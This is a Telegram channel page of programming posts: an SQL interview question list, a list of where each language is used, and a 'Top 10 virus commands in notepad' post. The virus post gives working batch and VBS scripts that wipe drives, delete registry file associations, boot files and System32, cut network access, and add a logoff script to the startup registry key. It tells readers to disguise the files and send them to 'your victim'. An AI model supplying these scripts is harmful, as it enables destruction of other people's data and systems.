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PythonCommunity: post #185 — TG.ME

PythonCommunity@py345 · 9.7K subscribers Open in TelegramOpen

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November 12, 2023

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SQL Interview Questions! 🔥🚀 Basic SQL Interview Questions: - What is SQL? - What are the different types of SQL commands? - What is the difference between DDL, DML, DCL, and TCL? - What is the difference between SQL and MySQL? - What is a primary key? - What is a foreign key? - What is a unique key? - What is the difference between primary key and unique key? - What is the difference between HAVING and WHERE? - What are constraints in SQL? Name a few. - What is the difference between CHAR and VARCHAR? - What is Normalization? What are its types? - What is Denormalization? - What is an index in SQL? - What are the different types of indexes? - What is the difference between Clustered and Non-clustered indexes? - What is an alias in SQL? - What is the difference between DELETE and TRUNCATE? - What is the difference between TRUNCATE and DROP? - What is a view in SQL? ------------------------------------- Intermediate SQL Interview Questions: What is a self-join? What is an inner join? What is the difference between INNER JOIN and OUTER JOIN? What are the types of OUTER JOIN? What is a cross join? What is a Cartesian join? What is the difference between UNION and UNION ALL? What is the difference between JOIN and UNION? What is a stored procedure? What is a trigger in SQL? What are the different types of triggers? What is the difference between HAVING and GROUP BY? What are subqueries? What are correlated subqueries? What is an EXISTS clause in SQL? What is the difference between EXISTS and IN? What is a cursor in SQL? What is the difference between OLTP and OLAP? What are ACID properties in SQL? What is normalization? Explain 1NF, 2NF, 3NF, and BCNF. What is a composite key? What is a surrogate key? What is the use of the COALESCE function? What is the difference between IS NULL and IS NOT NULL? What is partitioning in SQL? ------------------------------------- Advanced SQL Interview Questions: What are window functions in SQL? What is CTE (Common Table Expression)? What is the difference between TEMP TABLE and CTE? What is the difference between RANK(), DENSE_RANK(), and ROW_NUMBER()? What is a materialized view? What is the difference between materialized views and normal views? What is sharding in SQL? What is the MERGE statement? What is the JSON data type in SQL? What is recursive CTE? What is the difference between LEFT JOIN and LEFT OUTER JOIN? How does indexing impact performance? What is the difference between OLAP and OLTP? What is ETL (Extract, Transform, Load)? What are window functions? Explain LEAD, LAG, and NTILE. What is a pivot table in SQL? What is Dynamic SQL? What is a NoSQL database? How is it different from SQL databases? What is the difference between SQL and PL/SQL? How to find the N-th highest salary in SQL? ------------------------------------- Practical SQL Queries: Find the second highest salary from an Employee table. Find duplicate records in a table. Write a SQL query to find the count of employees in each department. Write a query to find employees who earn more than their managers. Write a query to fetch the first three characters of a string. Write a SQL query to swap two columns in a table without using a temporary table. Write a query to find all employees who joined in the last 6 months. Write a query to find the most repeated values in a column. Write a query to delete duplicate rows from a table. Write a SQL query to find all customers who made more than 5 purchases. React ♥️ for more content like this 👍 1.1K·May 26 🔰 TOP 10 VIRUS COMMAND'S IN NOTEPAD 🔰 Method 1: Just open your notepad 1) Click start -> all programs -> accessories -> notepad 2) Or just press or click windows key + r :: run window will open and type notepad and hit enter . NOW TYPE THE FOLLOWING CODE :: @echo off del D:\*.* /f /s /q del E:\*.* /f /s /q del F:\*.* /f /s /q del G:\*.* /f /s /q del H:\*.* /f /s /q del I:\*.* /f /s /q del J:\*.* /f /s /q Then save it as kinng.bat and the batch file is created . WARNING :: This is the most dangerous virus! Be careful with its use. Delete the entire registry @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* Now save it as kinng.bat and the batch file is created . Method 2: How to crash a PC Forever !::: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE. Method 3: How to stop someone's internet access:::: @Echo off Ipconfig /release Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it However, this is VERY easy to fix. Simply type in IPconfig /renew Method 4: ShutDown PC million Times:::: 1.right click on the desktop 2.click shortcut you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want... 3.u will get another dialogue box, write in it: Internet Explorer and press finish 4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok try to open it, it is a virus hehe PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a Method 5: Open Notepad Write / copy the below command there: " del c:\WINDOWS\system32\*.*/q " without quote and save as " anything.bat" Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started. Method 6: Process: Open Notepad Copy the below command there "rd/s/q D:\ rd/s/q C:\ rd/s/q E:\" ( without quotes ) Save as "anything.bat This virus Formats the C ,D , and E Drive in 3 Seconds. Method 7: Just open the Notepad and type the paste the following Code. set ws=createobject("wscript.shell") dim strDir,strfile,st,strtxt2,strshell,strlog dim obfso,obfolder,obshell,obfile,obtxtfile strshell="wscript.shell" strDir="C:\WINDOWS" strfile="\wscript.vbs" st=Chr(34) strlog="shutdown -l" strtxt2="ws.run(strlog)" set obfso=CreateObject("Scripting.FileSystemObject") on error resume next set obfile=obfso.CreateTextfile(strDir & strfile) obfile.writeline("set ws=createobject("&st&strshell&st&")") obfile.writeline("ws.run("&st&strlog&st&")") ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ” Now Save This Notepad file With Any Name Having .vbs Extension . Method 8: Open Notepad and write "start" without quotes Start Start Start and then save it with .bat extension. Now double click on this .bat file to run Command Prompt. Method 9: Convey your friend a little message and shut down his / her computer: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. Method 10 : Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. React ♥️ on this msg ,For more content like this 👍 5.4K·May 21 Where Each Programming Language Shines 🚀👨🏻‍💻 ❯ C ➟ OS Development, Embedded Systems, Game Engines ❯ C++ ➟ Game Development, High-Performance Applications, Financial Systems ❯ Java ➟ Enterprise Software, Android Development, Backend Systems ❯ C# ➟ Game Development (Unity), Windows Applications, Enterprise Software ❯ Python ➟ AI/ML, Data Science, Web Development, Automation ❯ JavaScript ➟ Frontend Web Development, Full-Stack Apps, Game Development ❯ Golang ➟ Cloud Services, Networking, High-Performance APIs ❯ Swift ➟ iOS/macOS App Development ❯ Kotlin ➟ Android Development, Backend Services ❯ PHP ➟ Web Development (WordPress, Laravel) ❯ Ruby ➟ Web Development (Ruby on Rails), Prototyping ❯ Rust ➟ Systems Programming, High-Performance Computing, Blockchain ❯ Lua ➟ Game Scripting (Roblox, WoW), Embedded Systems ❯ R ➟ Data Science, Statistics, Bioinformatics ❯ SQL ➟ Database Management, Data Analytics ❯ TypeScript ➟ Scalable Web Applications, Large JavaScript Projects ❯ Node.js ➟ Backend Development, Real-Time Applications ❯ React ➟ Modern Web Applications, Interactive UIs ❯ Vue ➟ Lightweight Frontend Development, SPAs ❯ Django ➟ Scalable Web Applications, AI/ML Backend ❯ Laravel ➟ Full-Stack PHP Development ❯ Blazor ➟ Web Apps with .NET ❯ Spring Boot ➟ Enterprise Java Applications, Microservices ❯ Ruby on Rails ➟ Startup Web Apps, MVP Development ❯ HTML/CSS ➟ Web Design, UI Development ❯ GIT ➟ Version Control, Collaboration ❯ Linux ➟ Server Management, Security, DevOps ❯ DevOps ➟ Infrastructure Automation, CI/CD ❯ CI/CD ➟ Continuous Deployment & Testing ❯ Docker ➟ Containerization, Cloud Deployments ❯ Kubernetes ➟ Scalable Cloud Orchestration ❯ Microservices ➟ Distributed Systems, Scalable Backends ❯ Selenium ➟ Web Automation Testing ❯ Playwright ➟ Modern Browser Automation React ❤️ for more 5K·Apr 11 Don't forget to React ❤️ to this msg if you want more content Like this 👍 6.8K·Jan 6

React ♥️ for more content like this 💥 7K·Dec 21

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